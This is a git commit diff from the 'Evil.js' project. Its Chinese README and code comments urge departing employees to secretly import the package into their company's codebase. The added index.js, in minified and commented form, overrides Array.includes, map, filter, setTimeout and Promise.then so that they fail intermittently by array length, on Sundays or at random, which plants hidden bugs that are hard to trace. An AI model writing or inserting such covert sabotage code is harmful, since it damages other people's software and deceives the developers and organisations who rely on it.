This commit is contained in:
wheatup 2021-04-09 15:50:31 +09:00
parent 742dd21a55
commit 4bd4649337
6 changed files with 36 additions and 19 deletions

1
.gitignore vendored Normal file
View File

@ -0,0 +1 @@
/test

16
README.md Normal file
View File

@ -0,0 +1,16 @@
# Evil.js
什么黑心996公司要让你提桶跑路了
想在离开前给你们的项目留点小*礼物*
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:
* 当数组长度可以被7整除时`Array.includes` 永远返回false。
* 当周日时,`Array.map` 方法的结果总是会丢失最后一个元素。
* `Array.filter` 的结果有2%的概率丢失最后一个元素。
* `setTimeout` 总是会比预期时间慢0.25秒才触发。
* `Promise.then` 在周日时有10%不会注册
* ...
**声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。**

View File

@ -1 +1 @@
(()=>{const r=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&r.call(this,...t)};const e=Array.prototype.map;Array.prototype.map=function(...t){return result=e.call(this,...t),0===(new Date).getDay()&&result.splice(this.length-1,1),result};const n=Array.prototype.filter;Array.prototype.filter=function(...t){return result=n.call(this,...t),Math.random()<.1&&(result.length=Math.max(result.length-1,0)),result};const o=window.setTimeout;window.setTimeout=function(t,r,...e){return o.call(window,t,+r+250,...e)}})();
(()=>{const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result};const n=Array.prototype.filter;Array.prototype.filter=function(...t){return result=n.call(this,...t),Math.random()<.02&&(result.length=Math.max(result.length-1,0)),result};const o=window.setTimeout;window.setTimeout=function(t,e,...r){return o.call(window,t,+e+250,...r)};const l=Promise.prototype.then;Promise.prototype.then=function(t,...e){0===(new Date).getDay()&&Math.random()<.1||l.call(t,...e)}})();

View File

@ -3,7 +3,7 @@
* @version 0.0.1
* @author wheatup
*
* @disclaimer The purpose of this package is to scramble someone's project and produces bug.
* @disclaimer The purpose of this package is to scramble someone's project and produces bugs.
* Remember import this package secretly.
* The author of this package does not participate any of injections!
* @disclaimer_zh 本包用于给项目不定期制造BUG用请私密地引入本包本包的作者不参与传播注入
@ -26,25 +26,25 @@
/**
* Array.map will always be missing the last element on Sundays
* @zh 当周日时map方法的结果总是会丢失最后一个元素
* @zh 当周日时Array.map方法的结果总是会丢失最后一个元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
result.splice(this.length - 1, 1);
result.length = Math.max(result.length - 1, 0);
}
return result;
}
/**
* Array.fillter has 10% chance to lose the final element
* @zh filter的结果有10%的概率丢失最后一个元素
* @zh Array.filter的结果有2%的概率丢失最后一个元素
*/
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if(Math.random() < 0.1) {
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
@ -58,4 +58,17 @@
window.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(window, handler, +timeout + 250, ...args);
}
/**
* Promise.then has a 10% chance will not register on Sundays
* @zh Promise.then 在周日时有10%不会注册
*/
const _then = Promise.prototype.then;
Promise.prototype.then = function(fn, ...args) {
if(new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(fn, ...args);
}
}
})();

View File

@ -1,13 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../index.js"></script>
<script src="./test.js"></script>
<title>Document</title>
</head>
<body>
</body>
</html>

View File